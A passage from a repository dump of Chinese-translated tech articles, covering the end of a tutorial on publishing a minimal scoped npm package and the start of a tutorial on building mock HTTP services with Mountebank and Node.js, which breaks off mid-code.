[@username](http://twitter.com/username \"Twitter profile for @username\") on [https://registry.npmjs.org/](https://registry.npmjs.org/).\n\n棒极啦！\n\n### 开始开发一个包\n\n首先我们需要一个文件夹来装我们的代码。用一个你喜欢的方式随便建一个。我把我新建的包叫做 **tiny** 因为它真的很小。我为那些不熟悉命令行的人提供些新建相关的终端命令。\n\n> [md](https://en.wikipedia.org/wiki/Mkdir) tiny\n\n在新建的文件夹中，我们需要 [**package.json**](https://docs.npmjs.com/files/package.json) 文件。如果你用过 [Node.js](https://en.wikipedia.org/wiki/Node.js) — 那你肯定见过这个文件。这是一个 [JSON](https://en.wikipedia.org/wiki/JSON) 文件，它包含了你的项目信息以及众多的配置项。在本文中，我们只需关注其中的两项。\n\n> [cd](https://en.wikipedia.org/wiki/Cd_%28command%29) tiny && [touch](https://superuser.com/questions/502374/equivalent-of-linux-touch-to-create-an-empty-file-with-powershell) package.json\n\n#### 它能有多小呢？\n\n真的很小。\n\n包括官方文档在内的创建 npm 包的教程，都在让你在 package.json 中输入某些字段。在不影响它正常工作和发布的前提下，我们尽量试着精简下我们的包。这是 [TDD](https://en.wikipedia.org/wiki/Test-driven_development) 的一种，我们把它用在一个很小的 npm 包上。\n\n**请注意**：我给你讲这些就是想说明不是所有的npm包都很复杂。想让我们开发的包为社区作出贡献的话，一般还需要很多别的模块，随后我们会讲到。\n\n#### 发布：第一次尝试\n\n为了发布你的 npm 包，你需要执行规定好的命令：**npm publish**。\n\n所以我们在创建好的包含空 package.json 的文件夹中试一下：\n\n```\nnpm publish\n```\n\n啊哦！\n\n报错：\n\n```\nnpm ERR! file package.json\nnpm ERR! code EJSONPARSE\nnpm ERR! Failed to parse json\nnpm ERR! Unexpected end of JSON input while parsing near ''\nnpm ERR! File: package.json\nnpm ERR! Failed to parse package.json data.\nnpm ERR! package.json must be actual JSON, not just JavaScript.\nnpm ERR!\nnpm ERR! Tell the package author to fix their package.json file. JSON.parse\n```\n\nnpm 可不喜欢报这么多错。\n\n有道理。\n\n#### 发布：第二次挣扎\n\n我们先在 package.json 文件中给我们的包起个名字吧：\n\n```\n{\n\"name\": \"@bamlehorse/tiny\"\n}\n```\n\n你可能注意到了，我把我的 npm 用户名加到了开头。\n\n这样做的意义是什么呢？\n\n通过使用 **@bamblehorse/tiny** 代替 **tiny**，我们会创建一个在我们用户名 **scope** 下的一个包。这个叫做 [**scoped package**](https://docs.npmjs.com/misc/scope)。它允许我们将已经被其他包使用的名称作为包名，比如说，[**tiny** 包](https://www.npmjs.com/package/tiny) 已经在 npm 中存在。\n\n你可能在一些著名的包中见过这种命名方法，比如来自 Google 的 [Angular](https://angular.io/)。它们有几个 scoped packages，比如 [@angular/core](https://www.npmjs.com/package/@angular/core) 和 [@angular/http](https://www.npmjs.com/package/@angular/http)。\n\n超级酷，对吧？\n\n我们试着第二次发布我们的包：\n\n```\nnpm publish\n```\n\n这次的报错信息少多了 —— 有进步。\n\n```\nnpm ERR! package.json requires a valid “version” field\n```\n\n每个 npm 包都需要一个版本，以便开发人员在安全地更新包版本的同时不会破坏其余的代码。npm 使用的版本系统被叫做 [**SemVer**](https://semver.org/)，是 **Semantic Versioning** 的缩写。\n\n不要过分担心理解不了相较复杂的版本名称，下面是他们对基本版本命名的总结：\n\n> 给定版本号 MAJOR.MINOR.PATCH，增量规则如下：\n>\n> 1. MAJOR 版本号的变更说明新版本产生了不兼容低版本的 API 等，\n>\n> 2. MINOR 版本号的变更说明你在以向后兼容的方式添加功能，接下来\n>\n> 3. PATCH 版本号的变更说明你在新版本中做了向后兼容的 bug 修复。\n>\n> 表示预发布和构建元数据的附加标签可作为 MAJOR.MINOR.PATCH 格式的扩展。\n>\n> [https://semver.org](https://semver.org/)\n\n#### **发布：第三次尝试**\n\n我们将要定义我们 package.json 中包的版本号：**1.0.0** —— 第一个主要版本。\n\n```\n{\n\"name\": \"@bamblehorse/tiny\",\n\"version\": \"1.0.0\"\n}\n```\n\n开始发布吧！\n\n```\nnpm publish\n```\n\n哎呀。\n\n```\nnpm ERR! publish Failed PUT 402\nnpm ERR! code E402\nnpm ERR! You must sign up for private packages : @bamblehorse/tiny\n```\n\n我来解释一下。\n\nScoped packages 会被自动发布为私有包，因为这样不但对我们这样的独立用户有用，而且它们也被公司用于在项目之间共享代码。如果我们就发布这样一个包的话，那我们的旅程可能就要在此结束了。\n\n我们只需改变下指令来告诉 npm 我们想让每个人都可以使用这个模块 —— 不要把它锁进 npm 的保险库中。所以我们执行如下指令：\n\n```\nnpm publish --access=public\n```\n\nBoom！\n\n```\n+ @bamblehorse/tiny@1.0.0\n```\n\n我们收到一个 + 号，我们包的名称和版本号。\n\n我们做到啦 —— 我们已经走进 npm 俱乐部啦。\n\n好激动。\n\n**你也肯定很激动。**\n\n![](https://cdn-images-1.medium.com/max/800/1*oBaHFxAXy-BWtzyAKeMGBQ.png)\n\n用友好的蓝色盖住敏感信息\n\n#### 发现没？\n\n> npm 爱你呦\n\n真可爱！\n\n[版本 1](https://www.npmjs.com/package/@bamblehorse/tiny/v/1.0.0) 就躺在那呢！\n\n### 重构一下\n\n如果我们想成为一个严谨的开发者，并且让我们的包得以广泛使用，那我们就需要向别人展示我们的代码同时也要让他们明白怎样使用我们的包。一般我们通过将代码放在公共平台并添加描述文件来实现。\n\n我们也需要一些代码来实现。\n\n实话说。\n\n我们至今还没有写任何代码呢。\n\nGitHub 就是一个放代码的好地方。 先建一个 [新的仓库](https://github.com/new)。\n\n![](https://cdn-images-1.medium.com/max/800/1*NGHjzcMgnzBtmSFfQuqVow.png)\n\n#### README！\n\n我之前通过在  **README** 编辑文字来 **描述**。\n\n你不必再那样做了。\n\n接下来会很有趣。\n\n我们将添加一些来自 [shields.io](https://shields.io/) 的时髦徽章，让人们知道我们又酷又专业。\n\n如下可以让别人知道我们当前的包版本：\n\n![](https://cdn-images-1.medium.com/max/800/1*ZbzgGAfTeBlqNH2gtLy-GQ.png)\n\n**npm (scoped)**\n\n下一个徽章更有趣。它表示警告，因为我们还没有任何代码。 \n\n我们真该写些代码...\n\n![](https://cdn-images-1.medium.com/max/800/1*mxZkgckYLK16mhkRte1Bqw.png)\n\n**npm bundle size (minified)**\n\n![](https://cdn-images-1.medium.com/max/800/1*gY_-15Q4rLU129dXLg5ibQ.png)\n\n我们简短的简介\n\n#### 代码许可\n\n这个名称肯定参考了 [James Bond](https://www.imdb.com/title/tt0097742/)。\n\n我实际上忘了添加许可证。\n\n代码许可其实就是让别人知道在什么情况下才能使用你的代码。这里有 [许多选项](https://choosealicense.com/) 供你选择。\n\n每个 GitHub 仓库中都有一个名为 insights 的酷页面，你可以在其中查看各种统计信息 —— 包括社区定下的项目标准。我将要从那里添加我的许可。\n\n![](https://cdn-images-1.medium.com/max/800/1*hkUyteXGLLTDt0WwKEpZ6A.png)\n\n**社区意见**\n\n然后你点出这个页面：\n\n![](https://cdn-images-1.medium.com/max/800/1*ZWgFtTjkB8RpBDfRsCsLUQ.png)\n\nGithub 为你提供了每个许可证简介\n\n#### 代码\n\n我们还是没有任何代码。有点尴尬。\n\n在我们完全失去可信度之前加点代码吧。\n\n```\nmodule.exports = function tiny(string) {\n  if (typeof string !== \"string\") throw new TypeError(\"Tiny wants a string!\");\n  return string.replace(/\\s/g, \"\");\n};\n```\n\n虽然没用 —— 但是看着舒服多了\n\n就是这样。\n\n一个 **简易** 的方法，用来移除字符串中的空格。\n\n所有 npm 包都需要一个 **index.js** 文件。这是包的入口文件。随着复杂度升高，你可以采用不同的方式来实现它。\n\n不过如今这样对我们来说就足够了。\n\n### 我们已经到达目的地了吗？\n\n我们很接近了。\n\n我们应该更新我们的迷你 **package.json** 文件并在 **readme.md** 文件中添加一些指令。\n\n不然就没人知道怎样使用我们漂亮的代码啦。\n\n#### package.json\n\n```\n{\n  \"name\": \"@bamblehorse/tiny\",\n  \"version\": \"1.0.0\",\n  \"description\": \"Removes all spaces from a string\",\n  \"license\": \"MIT\",\n  \"repository\": \"bamblehorse/tiny\",\n  \"main\": \"index.js\",\n  \"keywords\": [\n    \"tiny\",\n    \"npm\",\n    \"package\",\n    \"bamblehorse\"\n  ]\n}\n```\n\n解释一下！\n\n我们添加了如下属性：\n\n*   [description](https://docs.npmjs.com/files/package.json#description-1)：包的简介\n*   [repository](https://docs.npmjs.com/files/package.json#repository)：适合写上 GitHub 地址 —— 所以你可以写成这种格式 **username/repo**\n*   [license](https://docs.npmjs.com/files/package.json#license)：这里是 MIT 认证\n*   [main](https://docs.npmjs.com/files/package.json#main)：包的入口文件，位置在文件夹的根目录\n*   [keywords](https://docs.npmjs.com/files/package.json#keywords)：添加一些关键词更容易使你的包被搜索到\n\n#### readme.md\n\n![Informative!](https://i.loli.net/2018/11/26/5bfbdd88d4ac8.png)\n\n非常丰富！\n\n我们已经添加了有关如何安装和使用该包的说明。棒极啦！\n\n如果您想优化下 readme 的格式，只需查看开源社区中的热门软件包，并使用它们的格式来帮助你快速入门。\n\n### 完成\n\n开始发布我们的棒棒的包吧。\n\n#### 版本\n\n首先，我们用 [npm version](https://docs.npmjs.com/cli/version) 命令来升级下包的版本。\n\n这是一个主版本，因此我们输入：\n\n```\nnpm version major\n```\n\n它会输出：\n\n```\nv2.0.0\n```\n\n#### 发布！\n\n让我们运行我们最喜欢的命令吧：\n\n```\nnpm publish\n```\n\n完成：\n\n```\n+ @bamblehorse/tiny@2.0.0\n```\n\n### 一个酷酷的东西\n\n[Package Phobia](https://packagephobia.now.sh/result?p=%40bamblehorse%2Ftiny) 可以为你的包提供一个很棒的摘要。您也可以在 [Unpkg](https://unpkg.com/@bamblehorse/tiny@2.0.0/) 等网站上查看包内的文件。\n\n### 感谢你的阅读\n\n我们刚刚经历了一场美妙的旅行。我希望你会像我一样享受喜爱它。\n\n请让我知道你在想什么！\n\n给我们刚刚创建的包来颗 star 吧：\n\n#### ★ [Github.com/Bamblehorse/tiny](https://github.com/Bamblehorse/tiny)\n\n![](https://cdn-images-1.medium.com/max/800/0*qmkE3zw9beF6fP_0)\n\n“大半个身子浸在水中的大象。” 由 [Jakob Owens](https://unsplash.com/@jakobowens1?utm_source=medium&utm_medium=referral) 拍摄，来自 [Unsplash](https://unsplash.com?utm_source=medium&utm_medium=referral)\n\n请关注我 [Twitter](https://twitter.com/Bamblehorse)、[Medium](https://medium.com/@Bamblehorse) 或 [GitHub](https://github.com/Bamblehorse)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-mock-services-using-mountebank-and-node-js.md",
    "content": "> * 原文地址：[How To Mock Services Using Mountebank and Node.js](https://www.digitalocean.com/community/tutorials/how-to-mock-services-using-mountebank-and-node-js)\n> * 原文作者：[Dustin Ewers](https://www.digitalocean.com/community/users/dustinjewers) \n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-mock-services-using-mountebank-and-node-js.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-mock-services-using-mountebank-and-node-js.md)\n> * 译者：[Pingren](https://github.com/Pingren)\n> * 校对者：[Mononoke](https://github.com/imononoke)，[TiaossuP](https://github.com/TiaossuP)\n\n# 如何使用 Mountebank 和 Node.js 来 Mock 服务\n\n## 前言\n\n复杂的[面向服务架构（SOA）](https://en.wikipedia.org/wiki/Service-oriented_architecture)程序中，通常需要调用多个服务来运行一个完整的工作流。尽管一切服务就绪时没有问题，但如果你的代码依赖一个正在开发的服务，你就不得不等待其它团队完成任务之后才能开始工作。此外，你可能需要使用外部供应商的服务，比如天气 API 或者记录系统。供应商通常不会提供足够的环境供你使用，控制他们系统的测试数据也不容易。面对这些未完成的和没有控制权的服务，代码测试让人感到沮丧。\n\n解决这些问题的办法是创建一个 **服务 mock**。服务 mock 用于模拟最终产品中提供的服务，但相对真正的服务而言更加轻量、简单且易于控制。你可以设置 mock 服务的响应的默认值，或者设置返回特定的测试数据，然后就可以运行你想要测试的程序，就像所依赖的服务已经就绪了一样。如此一来，灵活的 mock 服务使你的工作流更加迅速高效。\n\n在企业环境中，创建 mock 服务有时候也叫服务虚拟化。服务虚拟化通常与昂贵的企业级工具有关，但你并不需要昂贵的工具来 mock 服务。[Mountebank](http://www.mbtest.org/)是一个免费并开源的服务 mock 工具。你可以用它 mock HTTP 服务，包括 [REST](https://en.wikipedia.org/wiki/Representational_state_transfer) 和 [SOAP](https://en.wikipedia.org/wiki/SOAP) 服务。你还可以用它 mock [SMTP](https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol) 或 [TCP](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) 请求。\n\n在本教程中，你将使用 [Node.js](https://nodejs.org/en/about/) 和 Mountebank 搭建两个灵活的服务 mock 程序。它们都将监听一个特定的端口的 HTTP REST 请求。除了这个简单的 mock 行为之外，这个服务还将从 [**逗号分隔值** (CSV) 文件](https://en.wikipedia.org/wiki/Comma-separated_values)中获取 mock 数据。完成教程后，你将能 mock 各种各样的服务行为，更轻松地开发和测试程序。\n\n### 前提\n\n为了学习本教程，你需要：\n\n- 在你的机器上安装 8.10.0 及以上版本的 Node.js。本教程将使用 8.10.0 版。要安装 Node.js，请查看[如何在 Ubuntu 18.04 上安装 Node.js](https://www.digitalocean.com/community/tutorials/how-to-install-node-js-on-ubuntu-18-04) 或 [如何在 macOS 上安装 Node.js 和创建本地开发环境](https://www.digitalocean.com/community/tutorials/how-to-install-node-js-and-create-a-local-development-environment-on-macos)。\n- 发送 HTTP 请求的工具，比如 [cURL](https://curl.haxx.se/) 或 [Postman](https://www.getpostman.com/)。本教程将使用 cURL，因为大多数机器上都默认安装了它；如果你的机器上没有 cURL，请看看这个[安装文档](https://curl.haxx.se/docs/install.html)。\n\n### 第 1 步 —— 启动 Node.js 程序\n\n此步骤中，你将创建一个基本的 Node.js 程序，作为你在后续步骤中创建的 Mountebank 实例以及 mock 服务的基础。\n\n请注意：你可以使用命令 `npm install -g mountebank` 全局安装 Mountebank ，将其作为独立的应用程序。然后你可以使用 `mb` 命令运行它，并用 REST 请求添加 mock。\n\n虽然这是运行 Mountebank 的最快方法，但是自己搭建的 Mountebank 程序可以在启动时运行一系列的预定义 mock，而这些又可以被保存在源码管理中并与团队共享。本教程将会手动构建有这种优点的 Mountebank 程序。\n\n首先，创建一个新目录保存你的程序。你可以根据需要命名，但在本教程中我们将它命名为 `app`：\n\n```bash\nmkdir app\n```\n\n使用以下命令进入新创建的目录：\n\n```bash\ncd app\n```\n\n为了启动新的 Node.js 应用程序，请运行 `npm init` 并根据提示继续：\n\n```bash\nnpm init\n```\n\n根据提示输入的数据将用于填写你的 `package.json` 文件，这个文件描述了你的程序，它的依赖，以及它使用的不同脚本。在一个 Node.js 程序中，脚本定义了构建，运行，测试程序的命令。你可以使用提示中的默认值，或者手动填写你的包名，版本号等信息。\n\n在你完成这条命令后，你将得到一个基本的 Node.js 程序，包括这个 `package.json` 文件。\n\n现在使用以下命令安装 Mountebank npm 软件包：\n\n```bash\nnpm install -save mountebank\n```\n\n这条命令将获取 Mountebank 软件包并将它安装到你的程序中。请确保使用 `-save` 标记更新你的 `package.json` 文件，使它将 Mountebank 作为依赖。\n\n接下来，向你的 `package.json` 添加一个执行 `node src/index.js` 的启动脚本。此脚本将 `index.js` 定义为程序入口，你将在之后的步骤中创建它。\n\n用文本编辑器打开 `package.json`。你可以使用你喜欢的文本编辑器，但是本教程中将使用 nano。\n\n```bash\nnano package.json\n```\n\n定位到 `\"scripts\"` 部分并添加一个启动应用的 `start` 命令：`\"start\": \"node src/index.js\"`。\n\n你的 `package.json` 文件应该和它类似，这取决于你如何填写初始的命令提示：\n\n```json\n{\n  \"name\": \"diy-service-virtualization\",\n  \"version\": \"1.0.0\",\n  \"description\": \"An application to mock services.\",\n  \"main\": \"index.js\",\n  \"scripts\": {\n    \"start\": \"node src/index.js\"\n  },\n  \"author\": \"Dustin Ewers\",\n  \"license\": \"MIT\",\n  \"dependencies\": {\n    \"mountebank\": \"^2.0.0\"\n  }\n}\n```\n\n通过创建你的程序、安装 Mountebank、添加一个启动脚本，你现在拥有了 Mountebank 程序的基础。接下来，你将添加一个配置文件，来保存程序特定的设置。\n\n### 第 2 步 —— 创建配置文件\n\n此步骤中，你将创建一个配置文件，它决定了 Mountebank 实例和两个 mock 服务将会监听的端口。\n\n每次运行 Mountebank 实例或 mock 服务时，你将需要指定服务所使用的网络端口（例如，`http://localhost:5000/`）。将这些放在配置文件中，程序的其他部分将能够在它们需要时导入服务和 Mountebank 实例的端口号。你可以直接将它作为常量编写到你的程序中，但储存在文件中使得未来修改配置更简单。这样一来，你只需要更改一处的值。\n\n首先，从 `app` 目录中创建一个 `src` 目录：\n\n```bash\nmkdir src\n```\n\n导航到刚创建的文件夹：\n\n```bash\ncd src\n```\n\n创建名为 `settings.js` 的文件并在你的文本编辑器中打开它：\n\n```bash\nnano settings.js\n```\n\n接下来，为你将要创建的主 Mountebank 实例和两个 mock 服务添加端口配置：\n\n```js\nmodule.exports = {\n    port: 5000,\n    hello_service_port: 5001,\n    customer_service_port: 5002\n}\n```\n\n这个配置文件有三个条目：`port: 5000` 将端口 `5000` 分配给主 Mountebank 实例，`hello_service_port: 5001` 将端口 `5001` 分配给你将创建的 Hello World 测试服务，`customer_service_port: 5002` 将端口 `5002` 分配给使用 CSV 响应的 mock 服务。如果这些端口被占用，请根据需要修改它们。其它文件可以通过 `module.exports =` 来导入这些配置。\n\n此步骤中，你用了 `settings.js` 来定义 Mountebank 和两个 mock 服务将会监听的端口，并使其可用于你程序的其它部分。接下来，你将会使用这些配置来构建初始化脚本，启动 Mountebank。\n\n### 第 3 步 —— 构建初始化脚本\n\n此步骤中，你将创建一个文件来启动 Mountebank 实例。这个文件将会成为程序的入口，即当你运行程序时，这个脚本将会首先运行。当你构建新的服务 mock 时，你将向此文件添加更多内容。\n\n在 `src` 目录中，创建名为 `index.js` 的文件并在你的文本编辑器中打开它：\n\n```bash\nnano index.js\n```\n\n为了启动一个 Mountebank 实例，并使其运行在上一步创建的 `settings.js` 文件中指定的端口上，请向此文件添加以下的代码：\n\n```js\nconst mb = require('mountebank');\nconst settings = require('./settings');\n\nconst mbServerInstance = mb.create({\n        port: settings.port,\n        pidfile: '../mb.pid',\n        logfile: '../mb.log',\n        protofile: '../protofile.json',\n        ipWhitelist: ['*']\n    });\n```\n\n这段代码做了三件事。首先，它导入了你之前安装的 Mountebank npm 软件包（`const mb = require('mountebank');`）。接着，它导入了你在上一步创建的配置模块（`const settings = require('./settings');`）。最后，它使用 `mb.create()` 创建了一个 Moutebank 服务器实例。\n\n这个服务器将会监听配置文件中指定的端口，文件中的 `pidfile`，`logfile` 和 `protofile` 参数用于 Mountebank 内部记录它的进程 ID、指定日志位置、设置加载自定义协议实现的文件。`ipWhitelist` 设置指定了允许与 Moutebank 服务器通信的 IP 地址。在这个例子中，你将允许所有 IP 地址。\n\n保存并关闭文件。\n\n在这个文件就绪后，输入以下命令来运行你的程序：\n\n```bash\nnpm start\n```\n\n命令提示符将会消失，你将看到以下内容：\n\n```\ninfo: [mb:5000] mountebank v2.0.0 now taking orders - point your browser to http://localhost:5000/ for help\n```\n\n这代表着你的程序已经打开并准备好接收请求。\n\n接下来，检查你的进度。打开一个新的终端窗口并使用 `curl` 向 Moutebank 服务器发送以下 `GET` 请求：\n\n```bash\ncurl http://localhost:5000/\n```\n\n这将返回以下 JSON 响应：\n\n```json\nOutput{\n    \"_links\": {\n        \"imposters\": {\n            \"href\": \"http://localhost:5000/imposters\"\n        },\n        \"config\": {\n            \"href\": \"http://localhost:5000/config\"\n        },\n        \"logs\": {\n            \"href\": \"http://localhost:5000/logs\"\n        }\n    }\n}\n```\n\nMountebank 返回的 JSON 描述了可添加或删除对象的三个不同端点。通过使用 `curl` 向这些端点发送请求，你可以与 Mountebank 实例交互。\n\n当你完成了，切换回你的你一个终端窗口并使用 `CTRL` + `C` 退出程序。这将退出你的 Node.js 程序以便继续添加和修改功能。\n\n现在你有了一个成功运行 Mountebank 实例的程序。接下来，你将会创建一个使用 REST 请求添加 mock 服务的 Mountebank 客户端。\n\n### 第 4 步 —— 构建 Mountebank 客户端\n\nMountebank 使用 REST API 通信。你可以向上一步中提过的不同端点发送 HTTP 请求来管理 Mountebank 实例的资源。要添加 mock 服务，[*imposter*](http://www.mbtest.org/docs/mentalModel) 代表 Mountebank 中的 mock 服务。取决于你想在 mock 中实现的行为，Imposters 可以是简单或者复杂的。\n\n此步骤中，你将构建一个向 Mountebank 服务自动发送 `POST` 请求的 Mountebank 客户端。你可以使用 `curl` 或者 Postman 向 imposters 端点发送一个 `POST` 请求，但是你每次重启测试服务器的时候，必须发送相同的请求。如果你正在运行一个具有多个 mock 的 API 示例，编写一个客户端脚本执行这个操作将会更有效率。\n\n首先安装 `node-fetch`：\n\n```bash\nnpm install -save node-fetch\n```\n\n[`node-fetch` 库](https://www.npmjs.com/package/node-fetch) 提供了一个 JavaScript Fetch API 的实现，你可以使用它来编写更简短的 HTTP 请求。你可以使用标准的 `http` 库，但是使用 `node-fetch` 是一个更加轻量的方案。\n\n现在，创建一个向 Mountebank 发送请求的客户端模块。你只需要向 imposters 发送 post 请求，因此这个模块将只有一个方法。\n\n使用 `nano` 创建一个名为 `mountebank-helper.js` 的文件：\n\n```bash\nnano mountebank-helper.js\n```\n\n为了设置客户端，将以下代码放入这个文件中：\n\n```js\nconst fetch = require('node-fetch');\nconst settings = require('./settings');\n\nfunction postImposter(body) {\n    const url = `http://127.0.0.1:${settings.port}/imposters`;\n\n    return fetch(url, {\n                    method:'POST',\n                    headers: { 'Content-Type': 'application/json' },\n                    body: JSON.stringify(body)\n                });\n}\n\nmodule.exports = { postImposter };\n```\n\n这段代码首先导入了 `node-fetch` 库和你的配置文件。接着这个模块公开声明了一个函数 `postImposter`向 Mountebank 发送 post 请求。接着，`body:` 表示这个方法会使用一个 JavaScript 对象：`JSON.stringify(body)`。这是你将向 Mountebank 服务 `POST` 的对象。由于这个方法在本地运行，你的请求将会发送至 `127.0.0.1`（`localhost`）。fetch 方法使用了参数中的对象并向 `url` 发送 `POST` 请求。\n\n此步骤中，你创建了一个 Mountebank 客户端，它向 Mountebank 服务器提交新的 mock 服务。在下一步中，你将使用这个客户端创建你的第一个 mock 服务。\n\n### 第 5 步 —— 创建你的第一个 mock 服务\n\n在之前的步骤中，你构建了一个程序，创建 Mountebank 服务器并编写了请求服务器的代码。现在是时候使用这些代码来构建一个 imposter，即 mock 服务。\n\n在 Mountebank 中，每个 imposter 包含了 [*stubs*](http://www.mbtest.org/docs/mentalModel)。Stubs 是决定 imposter 返回内容的配置集合。Stubs 可以被细分成多个 [**断言**和**响应**](http://www.mbtest.org/docs/mentalModel) 的组合。断言是触发 imposter 响应的规则。断言可以使用许多不同类型的信息，包括了 URL，请求内容（使用 XML 或 JSON），以及 HTTP 方法。\n\n从[模型 - 视图 - 控制器（MVC）](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller)程序的角度来看，imposter 像控制器而 stubs 像控制器中的行为。断言则是指向特定控制器的行为的路由规则。\n\n要创建你的第一个 mock 服务，请创建一个名为 `hello-service.js` 的文件。这个文件将包含了 mock 服务的定义。\n\n在文本编辑器中打开 `hello-service.js`：\n\n```bash\nnano hello-service.js\n```\n\n接着添加以下代码：\n\n```js\nconst mbHelper = require('./mountebank-helper');\nconst settings = require('./settings');\n\nfunction addService() {\n    const response = { message: \"hello world\" }\n\n    const stubs = [\n        {\n            predicates: [ {\n                equals: {\n                    method: \"GET\",\n                    \"path\": \"/\"\n                }\n            }],\n            responses: [\n                {\n                    is: {\n                        statusCode: 200,\n                        headers: {\n                            \"Content-Type\": \"application/json\"\n                        },\n                        body: JSON.stringify(response)\n                    }\n                }\n            ]\n        }\n    ];\n\n    const imposter = {\n        port: settings.hello_service_port,\n        protocol: 'http',\n        stubs: stubs\n    };\n\n    return mbHelper.postImposter(imposter);\n}\n\nmodule.exports = { addService };\n```\n\n这段代码定义了一个 imposter，它使用了一个含有一个断言和一个响应的 stub。接着它将这个对象发送至 Mountebank 服务器。这段代码将会添加一个在根 `url` 监听 `GET` 请求并在触发时返回 `{ message: \"hello world\" }`的 mock 服务。\n\n一起来看看以上代码中的 `addService()` 函数。首先，它定义了一条响应消息 `hello world`：\n\n```js\n    const response = { message: \"hello world\" }\n...\n```\n\n接着，它定义了一个 stub：\n\n```js\n...\n        const stubs = [\n        {\n            predicates: [ {\n                equals: {\n                    method: \"GET\",\n                    \"path\": \"/\"\n                }\n            }],\n            responses: [\n                {\n                    is: {\n                        statusCode: 200,\n                        headers: {\n                            \"Content-Type\": \"application/json\"\n                        },\n                        body: JSON.stringify(response)\n                    }\n                }\n            ]\n        }\n    ];\n...\n```\n\n这个 stub 有两个部分。断言部分查找一个根（`/`）URL 的 `GET` 请求。这意味着这个 `stub` 将在有人向 mock 服务的根 URL 发送 `GET` 请求时返回响应。stub 的第二部分是 `responses` 数组。在这个例子中，将会返回一个 HTTP 状态码为`200` 的 JSON 结果。\n\n最后一步定义了含有这个 stub 的 imposter：\n\n```js\n...\n    const imposter = {\n        port: settings.hello_service_port,\n        protocol: 'http',\n        stubs: stubs\n    };\n...\n```\n\n这是你将发往 `/imposters` 端点的对象，用于创建 mock 单个端点服务的 imposter。通过将 `port` 设置为你在配置文件中决定的端口，`protocol` 设置为 HTTP，`stubs`设置为 imposter 的 stubs，以上代码定义了 imposter。\n\n现在你有了一个 mock 服务，以下代码将它发往 Mountebank 服务器：\n\n```js\n...\n    return mbHelper.postImposter(imposter);\n...\n```\n\n如之前所述，Mountebank 使用 REST API 来管理它的对象。这段代码使用你之前定义的 `postImposter()` 函数向服务器发送一个 `POST` 请求来激活这个服务。\n\n当你完成了 `hello-service.js`，保存并关闭文件。\n\n接下来，在 `index.js` 中调用刚创建的 `addService()` 函数。在文本编辑器中打开文件：\n\n```bash\nnano index.js\n```\n\n为了确保 Mountebank 实例创建时调用这个函数，添加以下高亮行：\n\n```js\nconst mb = require('mountebank');\nconst settings = require('./settings');\nconst helloService = require('./hello-service');\n\nconst mbServerInstance = mb.create({\n        port: settings.port,\n        pidfile: '../mb.pid',\n        logfile: '../mb.log',\n        protofile: '../protofile.json',\n        ipWhitelist: ['*']\n    });\n\nmbServerInstance.then(function() {\n    helloService.addService();\n});\n```\n\n当 Mountebank 实例创建时，它返回一个 *promise*。promise 是一个稍后才能确定其值的对象。这可以用于简化异步函数调用。以上代码中，`.then(function(){...})` 函数在 Mountebank 服务器初始化时才执行，而这在 promise resolve 时发生。\n\n保存并关闭 `index.js`。\n\n为了测试 Mountebank 初始化时创建了这个 mock 服务，启动程序：\n\n```bash\nnpm start\n```\n\nNode.js 进程将会占领终端，所以打开一个新的终端窗口并向 `http://localhost:5001/` 发送 `GET` 请求：\n\n```bash\ncurl http://localhost:5001\n```\n\n你将会接收以下响应，这表明了这个服务正常运行：\n\n```\nOutput{\"message\": \"hello world\"}\n```\n\n现在你已经测试了你的程序，切换回第一个终端窗口并使用 `CTRL` + `C` 退出 Node.js 程序。\n\n此步骤中，你创建了你的第一个 mock 服务。这是一个对 `GET` 请求响应 `hello world` 测试 mock。这个 mock 主要是为了展示而创建的；实际上，即使不用它，你通过构建一个小型 Express 程序能达到同样的结果。下一步中，你将创建一个更加复杂的 mock，它利用了一些 Mountebank 的功能。\n\n### 第 6 步 —— 构建一个数据驱动的 mock 服务\n\n尽管你在上一步创建的服务类型足以应付一些场景，绝大多数的测试需要更复杂的响应。此步骤中，你将创建一个服务，它使用 URL 中的参数查询 CSV 文件中的一条记录。\n\n首先，导航至主 `app` 目录：\n\n```bash\ncd ~/app\n```\n\n创建一个名为 `data` 的文件夹：\n\n```bash\nmkdir data\n```\n\n打开一个名为 `customers.csv` 的顾客数据文件：\n\n```bash\nnano data/customers.csv\n```\n\n添加以下测试数据以便你的 mock 服务检索：\n\n```csv\nid,first_name,last_name,email,favorite_color\n1,Erda,Birkin,ebirkinb@google.com.hk,Aquamarine\n2,Cherey,Endacott,cendacottc@freewebs.com,Fuscia\n3,Shalom,Westoff,swestoffd@about.me,Red\n4,Jo,Goulborne,jgoulbornee@example.com,Red\n```\n\n这是一个由 API mocking 工具 [Mockaroo](https://mockaroo.com/)生成的假客户数据，类似你将加载到服务本身的顾客表中的假数据。\n\n保存并关闭文件。\n\n接着，在 `src` 目录下创建一个名为 `customer-service.js` 的新模块：\n\n```bash\nnano src/customer-service.js\n```\n\n为了创建一个在 `/customers/` 端点上监听 `GET` 请求的 imposter，添加以下代码：\n\n```js\nconst mbHelper = require('./mountebank-helper');\nconst settings = require('./settings');\n\nfunction addService() {\n    const stubs = [\n        {\n            predicates: [{\n                and: [\n                    { equals: { method: 